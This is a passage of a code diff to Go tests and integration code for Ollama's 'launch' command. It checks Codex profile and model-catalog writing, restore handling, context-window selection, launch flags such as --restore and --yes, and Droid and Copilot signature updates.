t.Fatalf("catalog model count = %d, want 1", len(catalog.Models))
|
||||
}
|
||||
if got := catalog.Models[0]["slug"]; got != "gemma4" {
|
||||
t.Fatalf("catalog slug = %v, want gemma4", got)
|
||||
}
|
||||
if got := catalog.Models[0]["context_window"]; got != float64(65_536) {
|
||||
t.Fatalf("context_window = %v, want 65536", got)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -208,22 +287,437 @@ func TestEnsureCodexConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
if err := ensureCodexConfig(); err != nil {
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := ensureCodexConfig(); err != nil {
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
data, _ := os.ReadFile(configPath)
|
||||
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("root config.toml should not be created by CLI config refresh, err=%v", err)
|
||||
}
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
data, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
|
||||
if strings.Count(content, "[profiles.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [profiles.ollama-launch] section after two calls, got %d", strings.Count(content, "[profiles.ollama-launch]"))
|
||||
if strings.Contains(content, "[profiles.ollama-launch]") {
|
||||
t.Fatalf("legacy profile section should not be generated, got:\n%s", content)
|
||||
}
|
||||
if strings.Count(content, "[model_providers.ollama-launch]") != 1 {
|
||||
t.Errorf("expected exactly one [model_providers.ollama-launch] section after two calls, got %d", strings.Count(content, "[model_providers.ollama-launch]"))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cleans legacy root profile that conflicts with --profile", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := "" +
|
||||
`profile = "ollama-launch"` + "\n" +
|
||||
`model = "gpt-5.5"` + "\n" +
|
||||
`model_provider = "openai"` + "\n\n" +
|
||||
"[profiles.ollama-launch]\n" +
|
||||
`model = "old-local"` + "\n" +
|
||||
`model_provider = "ollama-launch"` + "\n\n" +
|
||||
"[profiles.default]\n" +
|
||||
`model = "gpt-5.5"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(existing), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := string(data)
|
||||
if got, ok := codexRootStringValueOK(content, codexRootProfileKey); ok {
|
||||
t.Fatalf("legacy root profile should be removed, got %q in:\n%s", got, content)
|
||||
}
|
||||
if strings.Contains(content, codexProfileHeader()) {
|
||||
t.Fatalf("legacy profile table should be removed, got:\n%s", content)
|
||||
}
|
||||
for _, want := range []string{
|
||||
`model = "gpt-5.5"`,
|
||||
`model_provider = "openai"`,
|
||||
"[profiles.default]",
|
||||
} {
|
||||
if !strings.Contains(content, want) {
|
||||
t.Fatalf("expected %q to be preserved in:\n%s", want, content)
|
||||
}
|
||||
}
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
profileData, err := os.ReadFile(profilePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(profileData), `model = "llama3.2"`) {
|
||||
t.Fatalf("managed profile was not written with selected model:\n%s", profileData)
|
||||
}
|
||||
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "config.toml.*"), `profile = "ollama-launch"`)
|
||||
})
|
||||
}
|
||||
|
||||
func TestCodexRestoreRemovesCLIProfileAndCatalogWithoutChangingUserRootConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
userConfig := "" +
|
||||
`model = "gpt-5.5"` + "\n" +
|
||||
`model_provider = "openai"` + "\n\n" +
|
||||
"[model_providers.openai]\n" +
|
||||
`name = "OpenAI"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(userConfig), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&Codex{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI profile should be removed, got err=%v", err)
|
||||
}
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
if _, err := os.Stat(catalogPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI catalog should be removed, got err=%v", err)
|
||||
}
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(data) != userConfig {
|
||||
t.Fatalf("user root config should be unchanged, got:\n%s", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexRestoreDoesNotRewriteRootConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
legacyConfig := "" +
|
||||
`profile = "ollama-launch"` + "\n" +
|
||||
`model = "llama3.2"` + "\n" +
|
||||
`model_provider = "ollama-launch"` + "\n" +
|
||||
fmt.Sprintf("model_catalog_json = %q\n\n", catalogPath) +
|
||||
"[model_providers.ollama-launch]\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n\n" +
|
||||
"[profiles.ollama-launch]\n" +
|
||||
`model = "llama3.2"` + "\n\n" +
|
||||
"[tools]\n" +
|
||||
`web_search = true` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(legacyConfig), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(catalogPath, []byte(`{"models":[]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&Codex{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(data) != legacyConfig {
|
||||
t.Fatalf("root config should be left untouched, got:\n%s", data)
|
||||
}
|
||||
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI profile should be removed, got err=%v", err)
|
||||
}
|
||||
if _, err := os.Stat(catalogPath); err != nil {
|
||||
t.Fatalf("CLI catalog should be left while root config references it: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodexRestoreDoesNotTouchCodexAppConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
|
||||
cliCatalogPath := filepath.Join(tmpDir, ".codex", "model.json")
|
||||
appCatalogPath := filepath.Join(tmpDir, ".codex", codexAppModelCatalogFilename)
|
||||
cliProfilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
appProfilePath := filepath.Join(tmpDir, ".codex", codexAppProfileName+".config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
appManagedConfig := "" +
|
||||
`model = "llama3.2"` + "\n" +
|
||||
fmt.Sprintf("model_provider = %q\n", codexAppProfileName) +
|
||||
fmt.Sprintf("model_catalog_json = %q\n\n", appCatalogPath) +
|
||||
codexProviderHeaderFor(codexAppProfileName) + "\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n\n" +
|
||||
codexProviderHeader() + "\n" +
|
||||
`name = "Ollama"` + "\n" +
|
||||
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
|
||||
`wire_api = "responses"` + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(appManagedConfig), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
restoreState := fmt.Sprintf(`{"had_profile":false,"had_model":true,"model":"qwen3:8b","had_model_provider":true,"model_provider":%q,"had_model_catalog_json":true,"model_catalog_json":%q}`, codexProfileName, cliCatalogPath)
|
||||
if err := os.MkdirAll(filepath.Dir(codexAppRestoreStatePath()), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(codexAppRestoreStatePath(), []byte(restoreState), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, path := range []string{cliCatalogPath, appCatalogPath, cliProfilePath, appProfilePath} {
|
||||
if err := os.WriteFile(path, []byte(`{"models":[]}`), 0o644); err != nil {
|
||||
t.Fatalf("write %s: %v", path, err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := (&Codex{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(data) != appManagedConfig {
|
||||
t.Fatalf("Codex App root config should be left untouched, got:\n%s", data)
|
||||
}
|
||||
if _, err := os.Stat(cliProfilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI profile should be removed, got err=%v", err)
|
||||
}
|
||||
if _, err := os.Stat(cliCatalogPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI catalog should be removed when root config does not reference it, got err=%v", err)
|
||||
}
|
||||
for _, path := range []string{appCatalogPath, appProfilePath, codexAppRestoreStatePath()} {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("%s should be left untouched, got err=%v", path, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchIntegrationCodexRestoreDoesNotRequireInstalledCLI(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
|
||||
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "codex", Restore: true}); err != nil {
|
||||
t.Fatalf("LaunchIntegration returned error: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
|
||||
t.Fatalf("CLI restore should run without codex installed and remove profile, got err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func assertBackupContains(t *testing.T, pattern, marker string) {
|
||||
t.Helper()
|
||||
backups, err := filepath.Glob(pattern)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, backupPath := range backups {
|
||||
data, err := os.ReadFile(backupPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if strings.Contains(string(data), marker) {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatalf("backup matching %q with marker %q not found", pattern, marker)
|
||||
}
|
||||
|
||||
func TestModelInfoContextLength(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
modelInfo map[string]any
|
||||
want int
|
||||
}{
|
||||
{"float64 value", map[string]any{"qwen3_5_moe.context_length": float64(262144)}, 262144},
|
||||
{"int value", map[string]any{"llama.context_length": 131072}, 131072},
|
||||
{"no context_length key", map[string]any{"llama.embedding_length": float64(4096)}, 0},
|
||||
{"empty map", map[string]any{}, 0},
|
||||
{"nil map", nil, 0},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got, _ := modelInfoContextLength(tt.modelInfo)
|
||||
if got != tt.want {
|
||||
t.Errorf("modelInfoContextLength() = %d, want %d", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCodexModelEntryContextWindow(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
model LaunchModel
|
||||
envContextLen string
|
||||
wantContext int
|
||||
}{
|
||||
{
|
||||
name: "inventory context length as fallback",
|
||||
model: LaunchModel{
|
||||
Name: "llama3.2",
|
||||
ContextLength: 131072,
|
||||
Details: api.ModelDetails{Format: "gguf"},
|
||||
},
|
||||
wantContext: 131072,
|
||||
},
|
||||
{
|
||||
name: "details context length is used when model context is empty",
|
||||
model: LaunchModel{
|
||||
Name: "llama3.2",
|
||||
Details: api.ModelDetails{Format: "gguf", ContextLength: 131072},
|
||||
},
|
||||
wantContext: 131072,
|
||||
},
|
||||
{
|
||||
name: "OLLAMA_CONTEXT_LENGTH overrides local gguf inventory context",
|
||||
model: LaunchModel{
|
||||
Name: "llama3.2",
|
||||
ContextLength: 131072,
|
||||
Details: api.ModelDetails{Format: "gguf"},
|
||||
},
|
||||
envContextLen: "64000",
|
||||
wantContext: 64000,
|
||||
},
|
||||
{
|
||||
name: "safetensors uses inventory context only",
|
||||
model: LaunchModel{
|
||||
Name: "llama3.2",
|
||||
ContextLength: 131072,
|
||||
Details: api.ModelDetails{Format: "safetensors"},
|
||||
},
|
||||
envContextLen: "64000",
|
||||
wantContext: 131072,
|
||||
},
|
||||
{
|
||||
name: "cloud model uses hardcoded limits",
|
||||
model: LaunchModel{
|
||||
Name: "qwen3.5:cloud",
|
||||
ContextLength: 131072,
|
||||
Details: api.ModelDetails{Format: "gguf"},
|
||||
},
|
||||
envContextLen: "64000",
|
||||
wantContext: 262144,
|
||||
},
|
||||
{
|
||||
name: "unknown cloud model without metadata uses fallback context",
|
||||
model: LaunchModel{
|
||||
Name: "deepseek-v4-pro:cloud",
|
||||
},
|
||||
envContextLen: "64000",
|
||||
wantContext: codexFallbackContextWindow,
|
||||
},
|
||||
{
|
||||
name: "vision capability without reasoning advertisement",
|
||||
model: LaunchModel{
|
||||
Name: "llama3.2",
|
||||
ContextLength: 131072,
|
||||
Details: api.ModelDetails{Format: "gguf"},
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityVision, modelpkg.CapabilityThinking},
|
||||
},
|
||||
wantContext: 131072,
|
||||
},
|
||||
{
|
||||
name: "missing metadata uses fallback context",
|
||||
model: LaunchModel{Name: "llama3.2"},
|
||||
wantContext: codexFallbackContextWindow,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if tt.envContextLen != "" {
|
||||
t.Setenv("OLLAMA_CONTEXT_LENGTH", tt.envContextLen)
|
||||
} else {
|
||||
t.Setenv("OLLAMA_CONTEXT_LENGTH", "")
|
||||
}
|
||||
|
||||
entry := buildCodexModelEntry(tt.model)
|
||||
|
||||
gotContext, _ := entry["context_window"].(int)
|
||||
if gotContext != tt.wantContext {
|
||||
t.Errorf("context_window = %d, want %d", gotContext, tt.wantContext)
|
||||
}
|
||||
|
||||
if tt.name == "vision capability without reasoning advertisement" {
|
||||
modalities, _ := entry["input_modalities"].([]string)
|
||||
if !slices.Contains(modalities, "image") {
|
||||
t.Error("expected image in input_modalities")
|
||||
}
|
||||
levels, _ := entry["supported_reasoning_levels"].([]any)
|
||||
if len(levels) != 0 {
|
||||
t.Errorf("supported_reasoning_levels length = %d, want 0", len(levels))
|
||||
}
|
||||
if got, _ := entry["supports_reasoning_summaries"].(bool); got {
|
||||
t.Error("supports_reasoning_summaries = true, want false")
|
||||
}
|
||||
}
|
||||
|
||||
if tt.name == "cloud model uses hardcoded limits" {
|
||||
truncationPolicy, _ := entry["truncation_policy"].(map[string]any)
|
||||
if mode, _ := truncationPolicy["mode"].(string); mode != "tokens" {
|
||||
t.Errorf("truncation_policy mode = %q, want %q", mode, "tokens")
|
||||
}
|
||||
}
|
||||
|
||||
requiredKeys := []string{"slug", "display_name", "shell_type"}
|
||||
for _, key := range requiredKeys {
|
||||
if _, ok := entry[key]; !ok {
|
||||
t.Errorf("missing required key %q", key)
|
||||
}
|
||||
}
|
||||
if _, ok := entry["apply_patch_tool_type"]; ok {
|
||||
t.Error("apply_patch_tool_type should be omitted so Codex CLI defaults can handle schema changes")
|
||||
}
|
||||
|
||||
if _, err := json.Marshal(entry); err != nil {
|
||||
t.Errorf("entry is not JSON serializable: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
+102
-14
@@ -61,6 +61,9 @@ func TestLaunchCmd(t *testing.T) {
|
||||
if !strings.Contains(cmd.Long, "hermes") {
|
||||
t.Error("Long description should mention hermes")
|
||||
}
|
||||
if !strings.Contains(cmd.Long, "kimi") {
|
||||
t.Error("Long description should mention kimi")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("flags exist", func(t *testing.T) {
|
||||
@@ -70,6 +73,9 @@ func TestLaunchCmd(t *testing.T) {
|
||||
if cmd.Flags().Lookup("config") == nil {
|
||||
t.Error("--config flag should exist")
|
||||
}
|
||||
if cmd.Flags().Lookup("restore") == nil {
|
||||
t.Error("--restore flag should exist")
|
||||
}
|
||||
if cmd.Flags().Lookup("yes") == nil {
|
||||
t.Error("--yes flag should exist")
|
||||
}
|
||||
@@ -204,6 +210,52 @@ func TestLaunchCmdTUICallback(t *testing.T) {
|
||||
t.Error("TUI callback should NOT be called when flags or extra args are provided without an integration")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("--restore flag without integration returns error", func(t *testing.T) {
|
||||
tuiCalled := false
|
||||
mockTUI := func(cmd *cobra.Command) {
|
||||
tuiCalled = true
|
||||
}
|
||||
|
||||
cmd := LaunchCmd(mockCheck, mockTUI)
|
||||
cmd.SetArgs([]string{"--restore"})
|
||||
err := cmd.Execute()
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("expected --restore without an integration to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "require an integration name") {
|
||||
t.Fatalf("expected integration-name guidance, got %v", err)
|
||||
}
|
||||
if tuiCalled {
|
||||
t.Error("TUI callback should NOT be called when --restore is provided without an integration")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestLaunchCmdClaudeDesktopLaunchReturnsUnsupported(t *testing.T) {
|
||||
for _, name := range []string{"claude-desktop", "claude-app"} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error {
|
||||
t.Fatal("heartbeat check should not run before Claude Desktop unsupported error")
|
||||
return nil
|
||||
}, func(cmd *cobra.Command) {
|
||||
t.Fatal("TUI callback should not run for direct integration launch")
|
||||
})
|
||||
cmd.SetArgs([]string{name})
|
||||
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("expected Claude Desktop launch command to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "Claude Desktop is no longer supported") {
|
||||
t.Fatalf("expected unsupported guidance, got %v", err)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "ollama launch claude-desktop --restore") {
|
||||
t.Fatalf("expected restore guidance, got %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchCmdNilHeartbeat(t *testing.T) {
|
||||
@@ -270,6 +322,8 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
|
||||
switch r.URL.Path {
|
||||
case "/api/status":
|
||||
fmt.Fprintf(w, `{"cloud":{"disabled":true,"source":"config"}}`)
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`)
|
||||
case "/api/show":
|
||||
@@ -290,7 +344,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
|
||||
|
||||
var selectorCalls int
|
||||
var gotCurrent string
|
||||
DefaultSingleSelector = func(title string, items []ModelItem, current string) (string, error) {
|
||||
DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
|
||||
selectorCalls++
|
||||
gotCurrent = current
|
||||
return "llama3.2", nil
|
||||
@@ -326,6 +380,41 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchCmdAutodiscoveryDefaultLaunchDoesNotForceConfigure(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
withInteractiveSession(t, true)
|
||||
withLauncherHooks(t)
|
||||
|
||||
runner := &launcherManagedAutodiscoveryRunner{
|
||||
autodiscoveryConfigured: true,
|
||||
}
|
||||
restore := OverrideIntegration("stubauto", runner)
|
||||
defer restore()
|
||||
|
||||
if err := config.SaveIntegration("stubauto", []string{"Ollama Cloud"}); err != nil {
|
||||
t.Fatalf("failed to save managed integration config: %v", err)
|
||||
}
|
||||
if err := config.MarkIntegrationOnboarded("stubauto"); err != nil {
|
||||
t.Fatalf("failed to mark integration onboarded: %v", err)
|
||||
}
|
||||
|
||||
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {
|
||||
t.Fatal("TUI callback should not run for direct integration launch")
|
||||
})
|
||||
cmd.SetArgs([]string{"stubauto"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("launch command failed: %v", err)
|
||||
}
|
||||
|
||||
if runner.autodiscoveryConfigures != 0 {
|
||||
t.Fatalf("expected default autodiscovery launch to reuse existing config, got %d configures", runner.autodiscoveryConfigures)
|
||||
}
|
||||
if runner.ranModel != "Ollama Cloud" {
|
||||
t.Fatalf("expected launch to run autodiscovery label, got %q", runner.ranModel)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
@@ -415,7 +504,7 @@ func TestLaunchCmdHeadlessWithYes_AutoPullsMissingLocalModel(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLaunchCmdHeadlessWithoutYes_ReturnsActionableConfirmError(t *testing.T) {
|
||||
func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setLaunchTestHome(t, tmpDir)
|
||||
withLauncherHooks(t)
|
||||
@@ -447,17 +536,14 @@ func TestLaunchCmdHeadlessWithoutYes_ReturnsActionableConfirmError(t *testing.T)
|
||||
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
|
||||
cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatal("expected launch command to fail without --yes in headless mode")
|
||||
if err != nil {
|
||||
t.Fatalf("expected launch command to succeed without --yes when an explicit model is provided, got %v", err)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "re-run with --yes") {
|
||||
t.Fatalf("expected actionable --yes guidance, got %v", err)
|
||||
if diff := compareStringSlices(stub.edited, [][]string{{"llama3.2"}}); diff != "" {
|
||||
t.Fatalf("unexpected editor writes (-want +got):\n%s", diff)
|
||||
}
|
||||
if len(stub.edited) != 0 {
|
||||
t.Fatalf("expected no editor writes when confirmation is blocked, got %v", stub.edited)
|
||||
}
|
||||
if stub.ranModel != "" {
|
||||
t.Fatalf("expected launch to abort before run, got %q", stub.ranModel)
|
||||
if stub.ranModel != "llama3.2" {
|
||||
t.Fatalf("expected launch to run configured model, got %q", stub.ranModel)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -471,6 +557,8 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/experimental/model-recommendations":
|
||||
fmt.Fprint(w, `{"recommendations":[]}`)
|
||||
case "/api/tags":
|
||||
fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"qwen3:8b"}]}`)
|
||||
case "/api/show":
|
||||
@@ -490,7 +578,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
|
||||
defer func() { DefaultSingleSelector = oldSelector }()
|
||||
|
||||
var gotCurrent string
|
||||
DefaultSingleSelector = func(title string, items []ModelItem, current string) (string, error) {
|
||||
DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
|
||||
gotCurrent = current
|
||||
return "qwen3:8b", nil
|
||||
}
|
||||
@@ -544,7 +632,7 @@ func TestLaunchCmdHeadlessYes_IntegrationRequiresModelEvenWhenSaved(t *testing.T
|
||||
|
||||
oldSelector := DefaultSingleSelector
|
||||
defer func() { DefaultSingleSelector = oldSelector }()
|
||||
DefaultSingleSelector = func(title string, items []ModelItem, current string) (string, error) {
|
||||
DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
|
||||
t.Fatal("selector should not be called for headless --yes saved-model launch")
|
||||
return "", nil
|
||||
}
|
||||
@@ -581,7 +669,7 @@ func TestLaunchCmdHeadlessYes_IntegrationWithoutSavedModelReturnsError(t *testin
|
||||
|
||||
oldSelector := DefaultSingleSelector
|
||||
defer func() { DefaultSingleSelector = oldSelector }()
|
||||
DefaultSingleSelector = func(title string, items []ModelItem, current string) (string, error) {
|
||||
DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
|
||||
t.Fatal("selector should not be called for headless --yes without saved model")
|
||||
return "", nil
|
||||
}
|
||||
|
||||
@@ -43,7 +43,7 @@ func (c *Copilot) findPath() (string, error) {
|
||||
return fallback, nil
|
||||
}
|
||||
|
||||
func (c *Copilot) Run(model string, args []string) error {
|
||||
func (c *Copilot) Run(model string, _ []LaunchModel, args []string) error {
|
||||
copilotPath, err := c.findPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("copilot is not installed, install from https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli")
|
||||
|
||||
+10
-12
@@ -40,7 +40,7 @@ type modelEntry struct {
|
||||
|
||||
func (d *Droid) String() string { return "Droid" }
|
||||
|
||||
func (d *Droid) Run(model string, args []string) error {
|
||||
func (d *Droid) Run(model string, _ []LaunchModel, args []string) error {
|
||||
if _, err := exec.LookPath("droid"); err != nil {
|
||||
return fmt.Errorf("droid is not installed, install from https://docs.factory.ai/cli/getting-started/quickstart")
|
||||
}
|
||||
@@ -64,7 +64,7 @@ func (d *Droid) Paths() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Droid) Edit(models []string) error {
|
||||
func (d *Droid) Edit(models []LaunchModel) error {
|
||||
if len(models) == 0 {
|
||||
return nil
|
||||
}
|
||||
@@ -96,10 +96,10 @@ func (d *Droid) Edit(models []string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(settingsPath, data)
|
||||
return fileutil.WriteWithBackup(settingsPath, data, "droid")
|
||||
}
|
||||
|
||||
func updateDroidSettings(settingsMap map[string]any, settings droidSettings, models []string) map[string]any {
|
||||
func updateDroidSettings(settingsMap map[string]any, settings droidSettings, models []LaunchModel) map[string]any {
|
||||
// Keep only non-Ollama models from the raw map (preserves extra fields)
|
||||
// Rebuild Ollama models
|
||||
var nonOllamaModels []any
|
||||
@@ -119,20 +119,18 @@ func updateDroidSettings(settingsMap map[string]any, settings droidSettings, mod
|
||||
var defaultModelID string
|
||||
for i, model := range models {
|
||||
maxOutput := 64000
|
||||
if isCloudModelName(model) {
|
||||
if l, ok := lookupCloudModelLimit(model); ok {
|
||||
maxOutput = l.Output
|
||||
}
|
||||
if model.MaxOutputTokens > 0 {
|
||||
maxOutput = model.MaxOutputTokens
|
||||
}
|
||||
modelID := fmt.Sprintf("custom:%s-%d", model, i)
|
||||
modelID := fmt.Sprintf("custom:%s-%d", model.Name, i)
|
||||
